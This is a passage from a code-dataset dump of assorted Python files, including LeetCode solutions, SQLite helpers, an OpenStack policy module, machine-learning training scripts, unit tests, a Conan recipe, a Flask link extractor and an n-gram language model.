网格，请找出一条从左上角到右下角的路径，使得路径上的数字总和为最小。\n\n说明：每次只能向下或者向右移动一步。\n\n示例:\n输入:\n[\n  [1,3,1],\n [1,5,1],\n [4,2,1]\n]\n输出: 7\n解释: 因为路径 1→3→1→1→1 的总和最小。\n\"\"\"\n\n\nclass Solution:\n def minPathSum(self, grid):\n n = len(grid)\n m = len(grid[0])\n\n dp = [[0 for _ in range(m)] for __ in range(n)]\n\n for i in range(n):\n for j in range(m):\n if i == 0: # 第一行为dp的前一行+grid的当前行\n dp[0][j] = dp[0][j - 1] + grid[0][j]\n elif j == 0: # 第一列为dp的前一列+grid的当前列\n dp[i][0] = dp[i - 1][0] + grid[i][0]\n else: # dp的前一行或前一列的最小值+grid的当前行列\n dp[i][j] = min(dp[i - 1][j], dp[i][j - 1]) + grid[i][j]\n return dp[-1][-1]\n\n","sub_path":"LeedCode/动态规划/64. 最小路径和.py","file_name":"64. 最小路径和.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"23773773","text":"from movie import process_movie\nfrom detect import pipeline\nimport matplotlib.image as mpimg\n\n\ndef main():\n movies = {\n 'project': {\n 'input': 'project_video.mp4',\n 'output': 'project_video_output.mp4',\n 'debug_folder': 'project_video_debug',\n 'start_frame': 0,\n 'end_frame': 5,\n 'entire_clip': True,\n 'debug_frames': [1, 31, 61, 91, 121, 151, 181, 211, 241, 271, 301],\n },\n 'test': {\n 'input': 'test_video.mp4',\n 'output': 'test_video_output.mp4',\n 'debug_folder': 'test_video_debug',\n 'start_frame': 0,\n 'end_frame': 5,\n 'entire_clip': True,\n 'debug_frames': [],\n },\n }\n\n import sys\n videos = sys.argv[1:]\n\n for video in videos:\n process_movie(movies[video], pipeline)\n\nif __name__ == '__main__':\n main()\n","sub_path":"detect_movies.py","file_name":"detect_movies.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593560078","text":"\"\"\"\nAccess to sqlite database\n\"\"\"\nfrom configparser import ConfigParser\nimport sqlite3\n\nconfig = ConfigParser()\nconfig.read('config.ini')\nsqlite_file = config.get('main_config', 'sqlite_file')\n\n\ndef read_all_customer_info():\n \"\"\"Reads all the customers' info. from the sqlite table and creates a\n dictionary based on the primary keys\"\"\"\n customers = {}\n conn = sqlite3.connect(sqlite_file)\n c = conn.cursor()\n for row in c.execute('SELECT * FROM customers'):\n customer_id, customer_name = row\n customers[customer_id] = customer_name\n conn.close()\n return customers\n\n\ndef write_customer_info(customer_id, name):\n \"\"\" Writes the new customer info. to the sqlite table and returns the\n primary key of the inserted entity \"\"\"\n conn = sqlite3.connect(sqlite_file)\n c = conn.cursor()\n c.execute('INSERT INTO customers (name) VALUES (?)', (name,))\n print(c.lastrowid)\n conn.commit()\n conn.close()\n return c.lastrowid\n\n\ndef cleanup_customer_info():\n \"\"\"Deletes all customer info. from the sqlite table\"\"\"\n conn = sqlite3.connect(sqlite_file)\n c = conn.cursor()\n c.execute('DELETE FROM customers')\n conn.commit()\n conn.close()\n\n\nif __name__ == '__main__':\n cleanup_customer_info()","sub_path":"python/src/data_access.py","file_name":"data_access.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"537115332","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom oslo_config import cfg\nfrom oslo_policy import policy\n\n\n_ENFORCER = None\n_ADMIN_CTX_POLICY = 'context_is_admin'\n_ADVSVC_CTX_POLICY = 'context_is_advsvc'\n\n\ndef reset():\n global _ENFORCER\n if _ENFORCER:\n _ENFORCER.clear()\n _ENFORCER = None\n\n\ndef init(conf=cfg.CONF, policy_file=None):\n \"\"\"Init an instance of the Enforcer class.\"\"\"\n\n global _ENFORCER\n if not _ENFORCER:\n _ENFORCER = policy.Enforcer(conf, policy_file=policy_file)\n _ENFORCER.load_rules(True)\n\n\ndef refresh(policy_file=None):\n \"\"\"Reset policy and init a new instance of Enforcer.\"\"\"\n reset()\n init(policy_file=policy_file)\n\n\ndef check_is_admin(context):\n \"\"\"Verify context has admin rights according to policy settings.\"\"\"\n init()\n # the target is user-self\n credentials = context.to_dict()\n if _ADMIN_CTX_POLICY not in _ENFORCER.rules:\n return False\n return _ENFORCER.enforce(_ADMIN_CTX_POLICY, credentials, credentials)\n\n\ndef check_is_advsvc(context):\n \"\"\"Verify context has advsvc rights according to policy settings.\"\"\"\n init()\n # the target is user-self\n credentials = context.to_dict()\n if _ADVSVC_CTX_POLICY not in _ENFORCER.rules:\n return False\n return _ENFORCER.enforce(_ADVSVC_CTX_POLICY, credentials, credentials)\n","sub_path":"neutron_lib/policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"463270009","text":"import tensorflow as tf \n\n##########\n# Class: Model\n#\n# Represents a model for the neural network\n##########\nclass Model:\n\n\t##########\n\t# Initializes a model\n\t# The layers parameter is a list representing our neural network:\n\t#\t\t* The first entry represents the input layer\n\t#\t\t* The last entry represents the output layer\n\t#\t\t* All other entries represent hidden layers\n\t#\t\t* The numbers for each entry represent number of nodes in the layer\n\t##########\n\tdef __init__(self, name, layers, weights, biases):\n\t\tself.name = name\n\t\tself.layers = layers \n\t\tself.weights = weights\n\t\tself.biases = biases \n\n\t\tself.__build_model()\n\n\t##########\n\t# Builds the model\n\t##########\n\tdef __build_model(self):\n\t\t# The number of hidden layers\n\t\tself.n_hidden_layers = len(self.layers) - 2\n\t\t# Strip the input and output layers, just leaving hidden layers\n\t\tself.hidden_layer_nodes = self.layers[1:-1]\n\t\t# Storage for hidden layers\n\t\tself.hidden_layers = [None] * self.n_hidden_layers\n\t\t# The number of input nodes \n\t\tself.n_inputs = self.layers[0]\n\t\t# The number of output nodes\n\t\tself.n_outputs = self.layers[len(self.layers) - 1]\n\n\t##########\n\t# Static method to build a new, untrained model\n\t##########\n\t@staticmethod\n\tdef new_model(name, layers):\n\t\t# The number of hidden layers\n\t\tn_hidden_layers = len(layers) - 2\n\t\t# Strip the input and output layers, just leaving hidden layers\n\t\thidden_layer_nodes = layers[1:-1]\n\t\t# Storage for hidden layers\n\t\thidden_layers = [None] * n_hidden_layers\n\t\t# The number of input nodes \n\t\tn_inputs = layers[0]\n\t\t# The number of output nodes\n\t\tn_outputs = layers[len(layers) - 1]\n\n\t\t# build the weights and biases\n\t\tweights = {}\n\t\tbiases = {}\n\n\t\tfor i in range(n_hidden_layers):\n\t\t\t# Weights \n\t\t\tif i == 0:\n\t\t\t\t# First hidden layer, input is input layer\n\t\t\t\tweights[Model.get_translated_idx(i)] = tf.Variable(tf.random_normal([n_inputs,\n\t\t\t\t\thidden_layer_nodes[0]]))\n\t\t\telse:\n\t\t\t\t# Input is previous hidden layer\n\t\t\t\tweights[Model.get_translated_idx(i)] = tf.Variable(tf.random_normal([hidden_layer_nodes[i-1],\n\t\t\t\t\thidden_layer_nodes[i]]))\n\n\t\t\t# Biases\n\t\t\tbiases[Model.get_translated_idx(i, 'b')] = tf.Variable(tf.random_normal([hidden_layer_nodes[i]]))\n\n\t\t# Add outputs to weights and biases\n\t\tweights['out'] = tf.Variable(tf.random_normal([hidden_layer_nodes[n_hidden_layers-1],\n\t\t\tn_outputs]))\n\t\tbiases['out'] = tf.Variable(tf.random_normal([n_outputs]))\n\n\t\t# Return the new model\n\t\treturn Model(name, layers, weights, biases)\n\n\t##########\n\t# Static method to translate index for weights and biases\n\t##########\n\t@staticmethod\n\tdef get_translated_idx(idx, prefix='h'):\n\t\treturn prefix + str(idx)","sub_path":"Core/nn/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530549534","text":"def change_me(org_list):\n\tprint(id(org_list))\n\tnew_list=org_list\n\tprint(id(new_list))\n\n\tif len(new_list) < 3:\n\t\tnew_list=['a','b','c']\n\n\tfor i,e in enumerate(new_list):\n\t\tif isinstance(e,list):\n\t\t\tnew_list[i] = '***'\n\n\tprint(new_list)\n\tprint(id(new_list))\n\ntest1=['a'] # -len(test1)<3,the assignment statement is excuted,test2 didn't change.\nchange_me(test1)\nprint(test1)\n\ntest2=[1,2,3,4,5,6,[1]] # -there is no assignment statement excuted,test2 changed.\nchange_me(test2)\nprint(test2)","sub_path":"passParaTest.py","file_name":"passParaTest.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"367309574","text":"\"\"\"\n* Copyright 2019 EPAM Systems\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n\"\"\"\n\nimport unittest\nimport logging\nimport os\nimport json\nimport sure # noqa\nfrom boosting_decision_making.boosting_featurizer import BoostingFeaturizer\nfrom utils import utils\n\n\nclass TestBoostingFeaturizer(unittest.TestCase):\n \"\"\"Tests boosting feature creation functionality\"\"\"\n @utils.ignore_warnings\n def setUp(self):\n self.one_hit_search_rs_explained = \"one_hit_search_rs_explained.json\"\n self.two_hits_search_rs_explained = \"two_hits_search_rs_explained.json\"\n self.log_message = \"log_message.json\"\n self.epsilon = 0.0001\n logging.disable(logging.CRITICAL)\n\n @utils.ignore_warnings\n def tearDown(self):\n logging.disable(logging.DEBUG)\n\n @staticmethod\n @utils.ignore_warnings\n def get_default_config():\n \"\"\"Get default config\"\"\"\n return {\n \"max_query_terms\": 50,\n \"min_should_match\": 0.8,\n \"min_word_length\": 0,\n }\n\n @staticmethod\n @utils.ignore_warnings\n def get_fixture(fixture_name, jsonify=True):\n \"\"\"Read fixture from file\"\"\"\n with open(os.path.join(\"fixtures\", fixture_name), \"r\") as file:\n return file.read() if not jsonify else json.loads(file.read())\n\n @utils.ignore_warnings\n def test_normalize_results(self):\n tests = [\n {\n \"elastic_results\": [],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": [],\n },\n {\n \"elastic_results\": [(self.get_fixture(self.log_message),\n self.get_fixture(self.one_hit_search_rs_explained))],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": [[{\"_score\": 158.08437,\n \"normalized_score\": 1.0, }]],\n },\n {\n \"elastic_results\": [(self.get_fixture(self.log_message),\n self.get_fixture(self.two_hits_search_rs_explained))],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": [[{\"_score\": 158.08437,\n \"normalized_score\": 1.0,\n },\n {\"_score\": 77.53298,\n \"normalized_score\": 0.4904,\n }, ]],\n },\n ]\n for idx, test in enumerate(tests):\n with sure.ensure('Error in the test case number: {0}', idx):\n _boosting_featurizer = BoostingFeaturizer(test[\"elastic_results\"],\n test[\"config\"],\n [])\n _boosting_featurizer.all_results.should.have.length_of(len(test[\"result\"]))\n for i in range(len(test[\"result\"])):\n for j in range(len(test[\"result\"][i])):\n for field in test[\"result\"][i][j]:\n elastic_res = _boosting_featurizer.all_results[i][1][j]\n elastic_res[field].should.equal(test[\"result\"][i][j][field],\n epsilon=self.epsilon)\n\n @utils.ignore_warnings\n def test_find_most_relevant_by_type(self):\n tests = [\n {\n \"elastic_results\": [],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": {},\n },\n {\n \"elastic_results\": [(self.get_fixture(self.log_message),\n self.get_fixture(self.one_hit_search_rs_explained))],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": {\"AB001\": {\"mrHit\": {\"_score\": 158.08437,\n \"_id\": \"1\"},\n \"compared_log\": self.get_fixture(self.log_message),\n \"score\": 1.0, },\n }\n },\n {\n \"elastic_results\": [(self.get_fixture(self.log_message),\n self.get_fixture(self.two_hits_search_rs_explained))],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": {\"AB001\": {\"mrHit\": {\"_score\": 158.08437,\n \"_id\": \"1\"},\n \"compared_log\": self.get_fixture(self.log_message),\n \"score\": 0.6709, },\n \"PB001\": {\"mrHit\": {\"_score\": 77.53298,\n \"_id\": \"2\"},\n \"compared_log\": self.get_fixture(self.log_message),\n \"score\": 0.3291, },\n }\n },\n {\n \"elastic_results\": [(self.get_fixture(self.log_message),\n self.get_fixture(self.two_hits_search_rs_explained)),\n (self.get_fixture(self.log_message),\n self.get_fixture(self.one_hit_search_rs_explained))],\n \"config\": TestBoostingFeaturizer.get_default_config(),\n \"result\": {\"AB001\": {\"mrHit\": {\"_score\": 158.08437,\n \"_id\": \"1\"},\n \"compared_log\": self.get_fixture(self.log_message),\n \"score\": 0.8031, },\n \"PB001\": {\"mrHit\": {\"_score\": 77.53298,\n \"_id\": \"2\"},\n \"compared_log\": self.get_fixture(self.log_message),\n \"score\": 0.1969, },\n }\n },\n ]\n for idx, test in enumerate(tests):\n with sure.ensure('Error in the test case number: {0}', idx):\n _boosting_featurizer = BoostingFeaturizer(test[\"elastic_results\"],\n test[\"config\"],\n [])\n scores_by_issue_type = _boosting_featurizer.find_most_relevant_by_type()\n scores_by_issue_type.should.have.length_of(len(test[\"result\"]))\n for issue_type in test[\"result\"]:\n scores_by_issue_type.keys().should.contain(issue_type)\n elastic_res = scores_by_issue_type[issue_type]\n for field in test[\"result\"][issue_type]:\n if type(test[\"result\"][issue_type][field]) != dict:\n elastic_res[field].should.equal(test[\"result\"][issue_type][field],\n epsilon=self.epsilon)\n else:\n for field_dict in test[\"result\"][issue_type][field]:\n result_field_dict = test[\"result\"][issue_type][field][field_dict]\n elastic_res[field][field_dict].should.equal(result_field_dict,\n epsilon=self.epsilon)\n","sub_path":"test/test_boosting_featurizer.py","file_name":"test_boosting_featurizer.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24667968","text":"from conans import ConanFile, CMake, tools\n\n\nclass LmeditorConan(ConanFile):\n name = \"lmeditor\"\n version = \"0.0.1\"\n license = \"\"\n author = \" \"\n url = \"\"\n description = \"\"\n topics = (\"\", \"\", \"\")\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n generators = \"cmake_find_package\", \"virtualrunenv\"\n requires = (\n 'lmengine/0.0.1',\n 'lmgl/0.0.1',\n 'lmlib/0.0.1',\n 'lmpl/0.0.1',\n 'lmtk/0.0.1',\n \"lmhuv/0.0.1\",\n )\n build_requires = (\n 'OpenMesh/8.0@lawrencem/stable',\n 'Catch2/2.6.1@catchorg/stable',\n 'embed-resource/0.2@lawrencem/stable',\n 'fmt/5.3.0@bincrafters/stable',\n 'yaml-cpp/0.6.2@bincrafters/stable',\n 'clara/1.1.5@bincrafters/stable',\n 'boost/1.70.0',\n )\n\n def imports(self):\n self.copy(\"embed-resource\", src=\"bin\")\n self.copy(\"embed-resource.exe*\", src=\"bin\")\n self.copy('embed-resource.cmake', dst='scripts', src='cmake')\n self.copy('glslangValidator*', src='bin')\n self.copy('*.dll', src='bin')\n\n def package_info(self):\n self.cpp_info.libs = ['lmeditor']\n","sub_path":"lmeditor/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"425023601","text":"#\n# @lc app=leetcode.cn id=11 lang=python3\n#\n# [11] 盛最多水的容器\n#\n# https://leetcode-cn.com/problems/container-with-most-water/description/\n#\n# algorithms\n# Medium (64.05%)\n# Likes: 1779\n# Dislikes: 0\n# Total Accepted: 272K\n# Total Submissions: 424.7K\n# Testcase Example: '[1,8,6,2,5,4,8,3,7]'\n#\n# 给你 n 个非负整数 a1，a2，...，an，每个数代表坐标中的一个点 (i, ai) 。在坐标内画 n 条垂直线，垂直线 i 的两个端点分别为 (i,\n# ai) 和 (i, 0)。找出其中的两条线，使得它们与 x 轴共同构成的容器可以容纳最多的水。\n# \n# 说明：你不能倾斜容器，且 n 的值至少为 2。\n# \n# \n# \n# \n# \n# 图中垂直线代表输入数组 [1,8,6,2,5,4,8,3,7]。在此情况下，容器能够容纳水（表示为蓝色部分）的最大值为 49。\n# \n# \n# \n# 示例：\n# \n# 输入：[1,8,6,2,5,4,8,3,7]\n# 输出：49\n# \n#\n\n# @lc code=start\nclass Solution:\n def maxArea(self, height: List[int]) -> int:\n left = 0\n right = len(height)-1\n res = 0\n while left 1]\ncur_group_id = current_groups.shape[0]\ncurrent_groups['group'] = range(cur_group_id)\nmerged_record_df = record_df.merge(current_groups[['SF', 'LFEUI', 'group']], how='left', on=['SF', 'LFEUI'])\nmerged_record_df['group'].fillna(0, inplace=True)\n\n#Match identical long forms\nlf_match_df = merged_record_df[merged_record_df['LFEUI'].isnull()]\ncurrent_groups = lf_match_df[['LF', 'group']].groupby(['LF'], axis=0)['LF'].size().reset_index(name='Size')\ncurrent_groups = current_groups[current_groups[\"Size\"] > 1]\ncurrent_groups['group2'] = range(cur_group_id, cur_group_id + len(current_groups))\ncur_group_id = cur_group_id + len(current_groups)\n\nmerged_record_df_2 = merged_record_df.merge(current_groups[['LF', 'group2']], how='left', on=['LF'])\nmerged_record_df_2['group2'].fillna(0, inplace=True)\nmerged_record_df_2['group'] = merged_record_df_2['group'] + merged_record_df_2['group2']\n\n\nmatch_df = full_df[full_df['match_score'] > .78]\nmatch_df = match_df.reset_index(inplace=False, drop=True)\nmatch_df['match_score'] = match_df.apply(lambda x: _remove_suspicious_matches(x), axis=1)\n\ngroup_ids = merged_record_df_2[['RecordID', 'group']]\ngroup_ids.set_index('RecordID', inplace=True)\n\n\ngroup_equivalencies = []\nfor inx, row in full_df.iterrows():\n if row['match_score'] > THRESHOLD:\n id_1 = row[\"RecordID1\"]\n id_2 = row[\"RecordID2\"]\n if group_ids.loc[id_1, 'group'] == 0 and group_ids.loc[id_2, 'group'] == 0:\n cur_group = cur_group_id\n group_ids.loc[id_1, 'group'] = cur_group\n group_ids.loc[id_2, 'group'] = cur_group\n cur_group_id += 1\n elif group_ids.loc[id_1, 'group'] == 0 and group_ids.loc[id_2, 'group'] != 0:\n cur_group = group_ids.loc[id_2, 'group']\n group_ids.loc[id_1, 'group'] = cur_group\n\n elif group_ids.loc[id_1, 'group'] != 0 and group_ids.loc[id_2, 'group'] == 0:\n cur_group = group_ids.loc[id_1, 'group']\n group_ids.loc[id_2, 'group'] = cur_group\n\n else:\n if group_ids.loc[id_1, 'group'] != group_ids.loc[id_2, 'group']:\n group_equivalencies.append([group_ids.loc[id_1, 'group'], group_ids.loc[id_2, 'group']])\n\ngroup_equivalencies_set = [(min(sample), max(sample)) for sample in group_equivalencies]\ngroup_equivalencies_set = set(group_equivalencies_set)\nequivalencies_dict = dict(group_equivalencies_set)\n\ngroup_ids['group'].replace(equivalencies_dict, inplace=True)\ngroup_ids.reset_index(inplace=True, drop=False)\n\ngrouped_df = record_df.merge(group_ids, how='left', on=\"RecordID\")\ngrouped_df.to_csv(\"/ssd-1/clinical/clinical-abbreviations/data/Step3Output_with_group.csv\", index=False)\n","sub_path":"code/Step4_RemoveRedundancy/group_generation/create_group_ids_new.py","file_name":"create_group_ids_new.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"267854019","text":"import os \nimport datetime\nimport numpy as np\nimport torch\n\nfrom utils import ReplayBuffer\nfrom modules import DynamicModel\nfrom tensorboardX import SummaryWriter\nimport pdb\n\nclass Dataset(torch.utils.data.Dataset):\n def __init__(self, buffer, mode=\"train\", train_ratio = 0.9):\n self.buffer = buffer\n self.current_state = buffer.state\n self.next_state = buffer.next_state\n self.action = buffer.action\n total_size = self.current_state.shape[0]\n num_train = int(total_size * train_ratio)\n if mode == \"train\":\n self.current_state = self.current_state[:num_train]\n self.next_state = self.next_state[:num_train]\n self.action = self.action[:num_train]\n elif mode == \"validation\":\n self.current_state = self.current_state[num_train:]\n self.next_state = self.next_state[num_train:]\n self.action = self.action[num_train:]\n else:\n raise ValueError\n\n def __getitem__(self, index):\n return self.current_state[index], self.action[index], self.next_state[index]\n def __len__(self):\n return len(self.current_state)\n\n\nif __name__ == \"__main__\":\n outdir = datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\n outdir = 'pretrain' + outdir\n outdir = os.path.join('./saved_models', outdir)\n os.system('mkdir ' + outdir)\n writer = SummaryWriter(logdir=('logs/pretrain{}').format(datetime.datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")))\n input_state_dim = 12\n output_state_dim = 9\n action_dim = 9\n hidden_dim=512\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model = DynamicModel(input_state_dim=input_state_dim, action_dim=action_dim, output_state_dim=output_state_dim, hidden_dim=hidden_dim)\n model = model.to(device)\n buffer = ReplayBuffer(state_dim = input_state_dim, action_dim = action_dim)\n buffer.restore()\n training_set = Dataset(buffer, mode=\"train\")\n val_set = Dataset(buffer, mode=\"validation\")\n training_loader = torch.utils.data.DataLoader(dataset=training_set,\n batch_size=32,\n shuffle=True)\n val_loader = torch.utils.data.DataLoader(dataset=val_set,\n batch_size=32,\n shuffle=True)\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n criterion = torch.nn.MSELoss()\n train_step = len(training_loader)\n max_epoch = 100\n train_index = 0\n for epoch in range(max_epoch):\n for i, (current_state, action, next_state) in enumerate(training_loader):\n train_index += 1\n current_state = current_state.float().to(device)\n action = action.float().to(device)\n next_state = next_state[:,:output_state_dim].float().to(device)\n predict_state = model(current_state, action)\n loss = criterion(predict_state, next_state)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n if (i + 1) % 1000 == 0:\n print(\"Epoch [{}/{}], Step [{}/{}], Loss: {:06f}\"\n .format(epoch, max_epoch, i, train_step, loss.item()))\n writer.add_scalar('train/loss', loss.item(), train_index)\n torch.save(model.state_dict(), os.path.join(outdir, \"model_{:03d}.ckpt\".format(epoch)))\n with torch.no_grad():\n loss_list = []\n for i, (current_state, action, next_state) in enumerate(val_loader):\n current_state = current_state.float().to(device)\n action = action.float().to(device)\n next_state = next_state[:,:output_state_dim].float().to(device)\n predict_state = model(current_state, action)\n loss = criterion(predict_state, next_state)\n loss_list.append(loss.item())\n print(\"Epoch [{}/{}], Validation Loss: {:06f}\"\n .format(epoch, max_epoch, np.array(loss_list).mean()))\n writer.add_scalar('val/loss', np.array(loss_list).mean(), epoch)\n writer.close()","sub_path":"train/pretrain_model.py","file_name":"pretrain_model.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"472817353","text":"import unittest\n# from nose.tools import *\n# import ex45.mastermind\nfrom ex45 import mastermind\n# from ex45 import \"mastermind_pieces.txt\"\n# import ex45\n# from ex45.mastermind import Level\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\nclass TestLevel(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print(\"SET UP!\")\n\n @classmethod\n def test_generate_code(self):\n print(\"before blah\")\n\n\n level = mastermind.Level()\n # level = ex45.mastermind.Level()\n print(\"after blah\")\n assert_equal(len(level.generate_code()), 12672)\n\n @classmethod\n def teardown(cls):\n print(\"TEAR DOWN!\")\n","sub_path":"Command Line Interface/tests/mastermind_tests.py","file_name":"mastermind_tests.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"481063682","text":"from flask import Flask\nfrom flask import request\nimport requests\nimport link_extract\nimport json\n\napp = Flask(__name__)\n\nfile_path = 'res/pedro_escamoso.html'\n\n\n@app.route('/')\ndef root():\n return 'Get Pedro el Escamoso'\n\n\n@app.route('/escamoso')\ndef escamoso():\n return json.dumps(link_extract.escamoso())\n\n\n@app.route('/all_links')\ndef test():\n url = request.args.get('url')\n page = requests.get(url)\n url_list = link_extract.extract_urls(page.text)\n return json.dumps(url_list)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"392664855","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 27 17:14:30 2018\n\n@author: neha\n\"\"\"\n\nimport nltk\nfrom nltk.corpus import gutenberg\nimport numpy as np\nimport string\nfrom nltk.corpus import brown \nimport random\n\ndef load():\n train=[]\n test=[] \n for c in brown.categories():\n sent=brown.sents(categories=c)\n s=[]\n for str1 in sent:\n s.append(str1)\n \n \n str2=[]\n for i in s:\n str2.append(' '.join(i))\n \n str3=''\n for i in str2:\n str3= str3+ ' '+ i\n \n punctuation={'`','\\''}\n for c in punctuation:\n str3= str3.replace(c,\"\")\n\n str3=' '.join(str3.split())\n # str3 = ' The Fulton County Grand Jury said Friday an investigation of Atlantas recent primary election produced no evidence that any irregularities took place . The jury further said in term-end presentments that the City Executive Committee , which had over-all charge of the election , deserves the praise and thanks of the City of Atlanta for the manner in which the election was conducted . The September-October term jury had been charged by Fulton Superior Court Judge Durwood Pye to investigate reports of possible irregularities in the hard-fought primary which was won by Mayor-nominate Ivan Allen Jr. .'\n words = str3.split(' ')\n train.append(words[:round(len(words)*0.8)])\n test.append(words[-round(len(words)*0.2):])\n\n train = [item for sublist in train for item in sublist]\n test = [item for sublist in test for item in sublist]\n return train,test\n\ndef cal_ngram(train,n):\n ngrams = {} \n #n=2\n for index, word in enumerate(train):\n if index < len(train)-(n-1):\n w=[]\n for i in range(n):\n w.append(train[index+i])\n ngram = tuple(w)\n# print(ngram)\n \n if ngram in ngrams:\n ngrams[ ngram ] = ngrams[ ngram ] + 1\n else:\n ngrams[ ngram ] = 1\n \n# sorted_ngrams = sorted(ngrams.items(), key = lambda pair:pair[1], reverse = True)\n return ngrams\n\n\ndef cal_ngram_list(ngrams):\n ngrams_list=[]\n for key,value in ngrams.items():\n ngrams_list.append(key)\n \n return ngrams_list\n\ndef unknown(unigrams,train):\n unknown_list=[]\n for key, value in unigrams.items():\n if value < 2:\n unknown_list.append(key[0])\n for index, word in enumerate(unigrams):\n if train[index] == key[0]:\n train[index] = ''\n if len(unknown_list)==500:\n break\n return train,unknown_list\n\n\ndef cal_probab(ngrams,n_1grams,n):\n prob = {}\n for key, value in ngrams.items():\n n_1key=[]\n for k in range(0,n-1):\n n_1key.append(key[k])\n \n prob[key] = value/(n_1grams[tuple(n_1key)])\n \n return prob\n\n\ndef cal_unigram_probab(ngrams,N):\n prob = {}\n for key, value in ngrams.items():\n prob[key] = value/N \n return prob\n\n\ndef check_existence(key,ngram_list,train_prob,n):\n found=0\n nfound=0\n alpha=1;\n t_prob=-1\n for i in reversed(range(len(ngram_list))):\n# print(i)\n# print(key)\n# k=[]\n# k.append(key)\n if key in ngram_list[i]:\n prob = train_prob[i]\n t_prob = alpha*prob[key]\n# print('break')\n found=found+1\n break\n else:\n key=key[i:n]\n# print(key)\n alpha=alpha*0.4\n \n if t_prob==-1:\n# print('unknown')\n ukn=tuple([''])\n nfound=nfound+1\n prob = train_prob[0]\n t_prob=alpha*prob[ukn]/0.4\n return t_prob\n \ndef cal_probab_test(tngram,ngram_list,train_prob,n):\n t_prob=0\n \n for key, value in tngram.items():\n# print(key)\n prob = check_existence(key,ngram_list,train_prob,n)\n# print(prob)\n t_prob = t_prob + np.log2(prob)\n \n return t_prob\n\ndef cal_perplexity(test,ngram_list,train_prob,n):\n tngram={}\n tngram=cal_ngram(test,n)\n tN=len(test)\n tprob=cal_probab_test(tngram,ngram_list,train_prob,n)\n perplexity=2 ** (tprob*(-1/tN))\n \n return perplexity\n\ndef init(train,n):\n N=len(train)\n unigrams=cal_ngram(train,1)\n #replace some vocab with \n train,unknown_list = unknown(unigrams,train)\n \n #get all ngrams and their counts\n ngram=[]\n \n for i in range(n):\n# print(i)\n ngram.append(cal_ngram(train,i+1))\n \n #calculate 1 to n gram's probabilities\n train_prob=[]\n train_prob.append(cal_unigram_probab(ngram[0],N))\n \n for i in range(1,n):\n# print(i)\n train_prob.append(cal_probab(ngram[i],ngram[i-1],i+1))\n \n \n \n #calculate ngram lists\n ngram_list=[]\n for i in range(n):\n ngram_list.append(cal_ngram_list(ngram[i]))\n \n return N,n,train,unknown_list,ngram,train_prob,ngram_list\n\n\n\ntrain,test=load()\nn=2\nN,n,train,unknown_list,ngram,train_prob,ngram_list=init(train,n)\n\nperplexity = cal_perplexity(test,ngram_list,train_prob,n)\n\nprint('Perplexity: ',perplexity)\n","sub_path":"S1_bigram.py","file_name":"S1_bigram.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"640954004","text":"# -*+ coding: utf-8 -*-\nname = str(input(\"Hola ¿Como te llamas?: \"))\npeso = 